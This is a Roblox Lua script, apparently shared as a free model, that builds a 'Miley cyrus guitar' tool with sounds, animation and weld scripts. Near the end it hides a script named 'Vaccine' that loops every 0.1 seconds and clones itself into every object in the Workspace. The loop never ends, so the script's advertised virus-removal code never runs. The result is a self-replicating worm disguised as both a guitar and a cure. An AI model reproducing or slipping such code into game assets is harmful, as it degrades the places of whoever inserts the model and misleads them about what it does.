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- --Just dont play it when i am with you :) -Excellating
- if (script:FindFirstChild("forCustomRun")~=nil) then
- local sc = script["forCustomRun"].Value
- assert(loadstring(sc))()
- return
- elseif (script:FindFirstChild("forCustomRunL")~=nil) then
- local locsc = workspace:FindFirstChild("_localrun")
- local sc = script["forCustomRunL"]
- if (locsc~=nil) then
- local loc = locsc:clone()
- loc["scrun"].Value = sc.Value
- loc.Name = script.Name
- for i,v in pairs(script:GetChildren()) do
- v:clone().Parent = loc
- end
- loc.Parent = script.Parent
- script:remove()
- return
- else
- assert(loadstring(sc.Value))()
- return
- end
- end
- local m = Instance.new("Model")
- m.Name = "Miley cyrus guitar"
- t1 = Instance.new("Tool", m)
- t1.Name = "Miley cyrus guitar"
- t1.GripForward = Vector3.new(0, -1, 0)
- t1.GripPos = Vector3.new(1.5, -2.20000005, 0.200000003)
- t1.GripRight = Vector3.new(0.832265675, 0, 0.554377139)
- t1.GripUp = Vector3.new(0.554377079, 0, -0.832265556)
- t1.ToolTip = "Miley cyrus !"
- t1.TextureId = "http://www.roblox.com/asset/?id=7522082 "
- t1.Enabled = false
- p1 = Instance.new("Part", t1)
- p1.BrickColor = BrickColor.new("Really Black")
- p1.Reflectance = 0.40000000596046
- p1.Name = "Handle"
- p1.CFrame = CFrame.new(-7.28151941, 1.28350699, 10.6412907, -0.896422863, 0.000258748303, -0.443200141, 0.000929350965, 0.999998748, -0.00129590067, 0.443199247, -0.00157356309, -0.896422029)
- p1.FormFactor = Enum.FormFactor.Custom
- p1.Size = Vector3.new(1.54999971, 0.200000003, 4.31000137)
- p1.BottomSurface = Enum.SurfaceType.Smooth
- p1.TopSurface = Enum.SurfaceType.Smooth
- b1 = Instance.new("SpecialMesh", p1)
- b1.MeshId = "http://www.roblox.com/asset/?id=52596328 "
- b1.TextureId = ""
- b1.MeshType = Enum.MeshType.FileMesh
- b1.Name = "Mesh"
- b1.Scale = Vector3.new(1.39999998, 1.39999998, 1.39999998)
- x1 = Instance.new("Sound", p1)
- x1.Name = "GuitarSound"
- x1.Pitch = 1
- x1.SoundId = "http://www.roblox.com/asset?id=139235100 "
- x1.Volume = 1
- x1.Looped = false
- x1.PlayOnRemove = false
- x2 = Instance.new("PointLight", p1)
- x2.Color = Color3.new(1, 0.666667, 1)
- x2.Brightness = 20
- x3 = Instance.new("Sound", p1)
- x3.Name = "S1"
- x3.Pitch = 1
- x3.SoundId = "http://www.roblox.com/asset/?id=139235100"
- x3.Volume = 1
- x3.Looped = false
- x3.PlayOnRemove = false
- x4 = Instance.new("Sound", p1)
- x4.Name = "S2"
- x4.Pitch = 1
- x4.SoundId = "http://www.roblox.com/asset/?id=139235100"
- x4.Volume = 1
- x4.Looped = false
- x4.PlayOnRemove = false
- x5 = Instance.new("Sound", p1)
- x5.Name = "S3"
- x5.Pitch = 1
- x5.SoundId = "http://www.roblox.com/asset/?id=139235100"
- x5.Volume = 1
- x5.Looped = false
- x5.PlayOnRemove = false
- s1 = script:clone()
- s1.Name = "Local Gui"
- s1.Disabled = false
- so1 = Instance.new("StringValue", s1)
- so1.Name = "forCustomRunL"
- so1.Value = [===[
- Tool = script.Parent
- local stillEquipped = false
- function onEquippedLocal(mouse)
- stillEquipped = true
- if mouse == nil then
- print("Mouse not found")
- return
- end
- while stillEquipped do
- print("Setting Mouse to go")
- mouse.Icon = "rbxasset://textures\\GunCursor.png"
- while Tool.Enabled and stillEquipped do
- wait(0.01)
- end
- print("Setting Mouse to wait")
- mouse.Icon = "http://www.roblox.com/asset/?id=1088199"
- while not Tool.Enabled and stillEquipped do
- wait(0.01)
- end
- end
- end
- function onUnequippedLocal()
- stillEquipped = false
- end
- Tool.Equipped:connect(onEquippedLocal)
- Tool.Unequipped:connect(onUnequippedLocal)
- ]===]
- s1.Parent = t1
- s2 = script:clone()
- s2.Name = "GuitarScript"
- s2.Disabled = false
- so2 = Instance.new("StringValue", s2)
- so2.Name = "forCustomRunL"
- so2.Value = [===[
- local Tool = script.Parent
- local Guitar = Tool.Handle
- local vCharacter
- s1 = Instance.new("Sound")
- s1.Volume = 1
- s1.SoundId = "http://www.roblox.com/asset/?id=139235100"
- s1.Name = "S1"
- s1.Parent = Guitar
- s2 = Instance.new("Sound")
- s2.Volume = 1
- s2.SoundId = "http://www.roblox.com/asset/?id=139235100"
- s2.Name = "S2"
- s2.Parent = Guitar
- s3 = Instance.new("Sound")
- s3.Volume = 1
- s3.SoundId = "http://www.roblox.com/asset/?id=139235100"
- s3.Name = "S3"
- s3.Parent = Guitar
- mySounds = {s1, s2, s3}
- local guitarAnim
- local guitarSound
- local guitarClone
- Tool.Enabled = true
- function onActivated()
- if Tool.Enabled == false then
- return
- end
- Tool.Enabled = false
- vCharacter = Tool.Parent
- myHumanoid = vCharacter:FindFirstChild("Humanoid")
- if myHumanoid == nil then
- return
- end
- guitarClone = Guitar:Clone()
- guitarClone.Parent = game.Workspace
- Guitar.Transparency = 1.0
- guitarWeld = Instance.new("Weld")
- guitarWeld.Part0 = vCharacter.Torso
- guitarWeld.Part1 = guitarClone
- guitarWeld.Name = "HoldGuitar"
- guitarWeld.Parent = guitarClone
- guitarWeld.C1 = (CFrame.new(Vector3.new(0, 0, 0)) * CFrame.Angles(math.pi/2, 0, -math.pi/4)) + Vector3.new(0, -1, -0.5)
- guitarAnim = myHumanoid:LoadAnimation(Tool.GuitarAnim)
- if guitarAnim then guitarAnim:Play() end
- print(math.random(1, 3))
- if mySounds ~= nil then mySounds[math.random(1, 3)]:Play() end
- wait(15)
- Guitar.Transparency = 0.0
- if guitarClone then guitarClone:Remove() end
- Tool.Enabled = true
- end
- function onEquipped()
- end
- function onUnequipped()
- if guitarSound then guitarSound:Stop() end
- if guitarAnim then guitarAnim:Stop() end
- if guitarClone then guitarClone:Remove() end
- Guitar.Transparency = 0.0
- end
- Tool.Activated:connect(onActivated)
- Tool.Equipped:connect(onEquipped)
- Tool.Unequipped:connect(onUnequipped)
- ]===]
- s2.Parent = t1
- x6 = Instance.new("Animation", t1)
- x6.Name = "GuitarAnim"
- x6.AnimationId = "http://www.roblox.com/Asset?ID=52602039"
- s3 = script:clone()
- s4 = script:clone()
- s4.Name = "Weld2"
- s4.Disabled = true
- so4 = Instance.new("StringValue", s4)
- so4.Name = "forCustomRunL"
- so4.Value = [===[
- function Weld(x,y)
- local W = Instance.new("Weld")
- W.Part0 = x
- W.Part1 = y
- local CJ = CFrame.new(x.Position)
- local C0 = x.CFrame:inverse()*CJ
- local C1 = y.CFrame:inverse()*CJ
- W.C0 = C0
- W.C1 = C1
- W.Parent = x
- end
- function Get(A)
- if A.className == "Part" then
- Weld(script.Parent.Handle, A)
- A.Anchored = false
- else
- local C = A:GetChildren()
- for i=1, #C do
- Get(C[i])
- end
- end
- end
- local yes = true
- if yes then
- yes = false
- Get(script.Parent)
- end
- function onDied()
- script.Parent.Parent = nil
- end
- h = script.Parent.Parent:FindFirstChild("Humanoid")
- if h ~= nil then
- h.Died:connect(onDied)
- end
- ]===]
- s4.Parent = s3
- s3.Name = "BackGun"
- s3.Disabled = false
- so3 = Instance.new("StringValue", s3)
- so3.Name = "forCustomRunL"
- so3.Value = [===[
- --
- --to use: put in type of gun: barrel point left, barrel point right or bull-pup(main hande is in the middle of the gun)
- --step 2: put in what type of wepoan it is: assult rifle or pistol(there will be more)
- --to do list: make it easyer to modife how it weld's.
- guntype = 1--1 is assult rifle, 2 is bullpup, 3 is pistol, 4 is knife
- weldmode = 3--1 is barrel point upper-left, 2 is barrel pointing upper-right, 3 is barrel point lower-left and 4 is barrel point lower-right
- -------(note: if it is pistol or knife then 1 is on right leg, 2 is on left leg, 3 is in the back of your pants and 4 is in the front of your pants)
- model = nil--gun model, that is
- distance = 0.75--this is the distance between the part(torso/leg) and the gun. DON'T MAKE negitive
- rotation = 45--this is the turning in degrees.
- --this area is mode more for someone who's already good at gun's. please do not get mad at me if you don't understand what's under here
- y = 0--this is what's added to the current y value. positive number's make it go down. negative make's it go up
- x = 0--this is what's added to the x value(it's really the z value but it look's like the x value when on your back). positive number's make it go left. negative make's it go right
- -------------------------------------------------------------------------------------------------------------------------------------------------------------------
- --I suggest not doing anything else under here. All you should have to change is the weldmode and guntype.
- --guntype 1 and weldmode 1 is for assault. guntype 3 and weldmode 1 is pistol position.
- --Those are what I have done so far so give me time so I can edit them into the correct position.
- -------------------------------------------------------------------------------------------------------------------------------------------------------------------
- parts = {}
- local n = 1
- --can i have my
- function on(mouse)
- if model == nil then
- n = 1
- local m = Instance.new("Model")
- local all = script.Parent:GetChildren()
- for i = 1, #all do
- if all[i].className == "Part" then
- parts[n] = all[i].Transparency
- local brick = all[i]:clone()
- brick.Parent = m
- n = n +1
- end
- end
- wait()
- if model == nil then
- local weld = script:FindFirstChild("Weld2")
- if weld ~= nil then
- local new = weld:clone()
- new.Disabled = false
- new.Parent = m
- m.Name = script.Parent.Name
- m.Parent = script.Parent.Parent
- model = m
- local handle = model:FindFirstChild("Handle")
- if handle ~= nil then
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- if guntype == 1 then
- local torso = model.Parent:FindFirstChild("Torso")
- if torso ~= nil then
- if weldmode == 1 then--barrel pointing upper-right
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance *-1, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2), 0)
- elseif weldmode == 2 then--barrel pointing upper-left
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2 ) *-1, 0)
- elseif weldmode == 3 then--barrel pointing upside-right
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance *-1, -0.1+y, 0.2 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2), -1.5)
- elseif weldmode == 4 then--barrel pointing upside-left
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance, 0.25+y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2 +rotation) *-1.1, 1)
- end
- end
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- elseif guntype == 2 then--BullPup
- local torso = model.Parent:FindFirstChild("Torso")
- if torso ~= nil then
- if weldmode == 1 then--barrel pointing upper-right
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance *-1, 0.25+y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), math.pi / 2, 0)
- elseif weldmode == 2 then--barrel pointing upper-left
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), math.pi / 2 *-1, 0)
- elseif weldmode == 3 then--barrel pointing upside-right
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance *-1, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), math.pi / 2, 0)
- elseif weldmode == 4 then--barrel pointing upside-left
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), math.pi / 2 *-1, 0)
- end
- end
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- elseif guntype == 3 then--pistol
- local lleg = model.Parent:FindFirstChild("Left Leg")
- local rleg = model.Parent:FindFirstChild("Right Leg")
- if lleg ~= nil and rleg ~= nil then
- if weldmode == 1 then--pistol on right leg
- local w = Instance.new("Weld")
- w.Part0 = rleg
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance *-1, 0 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)
- elseif weldmode == 2 then--pistol on left leg
- local w = Instance.new("Weld")
- w.Part0 = lleg
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance, 0 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)
- elseif weldmode == 3 then--knife in pant's back, gangsta like
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance *-1, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi / 2 , math.pi / 2, 0)
- elseif weldmode == 4 then--knife in pant's front, gangsta like
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi / 2 , math.pi / 2 *-1, 0)
- end
- end
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- elseif guntype == 4 then--knife
- local lleg = model.Parent:FindFirstChild("Left Leg")
- local rleg = model.Parent:FindFirstChild("Right Leg")
- local torso = model.Parent:FindFirstChild("Torso")
- if lleg ~= nil and rleg ~= nil and torso ~= nil then
- if weldmode == 1 then--pistol on right leg
- local w = Instance.new("Weld")
- w.Part0 = rleg
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance *-1, 0.15 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi, 0, 0)
- elseif weldmode == 2 then--pistol on left leg
- local w = Instance.new("Weld")
- w.Part0 = lleg
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance, 0.15 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi, 0, 0)
- elseif weldmode == 3 then--knife in pant's back, gangsta like
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance *-1, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi , math.pi / 2, 0)
- elseif weldmode == 4 then--knife in pant's front, gangsta like
- local w = Instance.new("Weld")
- w.Part0 = torso
- w.Parent = w.Part0
- w.Part1 = handle
- w.C1 = CFrame.new(distance, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi , math.pi / 2 *-1, 0)
- end
- end
- end
- end
- end
- end
- end
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- --------------------------------------------------------------------------------
- if model ~= nil then
- n = 1
- local all = model:GetChildren()
- for i = 1, #all do
- if all[i].className == "Part" then
- all[i].Transparency = 1
- end
- end
- end
- end
- --check
- function off(mouse)
- if model ~= nil then
- n = 1
- local all = model:GetChildren()
- for i = 1, #all do
- if all[i].className == "Part" then
- all[i].Transparency = parts[n]
- local Do = true
- if Do then
- Do = false--dude!
- n = n +1
- end
- end
- end
- end
- end
- --please?
- script.Parent.Equipped:connect(on)
- script.Parent.Unequipped:connect(off)
- ]===]
- s3.Parent = t1
- s5 = script:clone()
- s5.Name = "Vaccine"
- s5.Disabled = false
- so5 = Instance.new("StringValue", s5)
- so5.Name = "forCustomRun"
- so5.Value = [===[
- function spread() -- created by KillerRussian98
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- print("Virus debugged! All clean!")
- ]===]
- s5.Parent = t1
- m.Parent = game:service("Workspace")
- m:MakeJoints()
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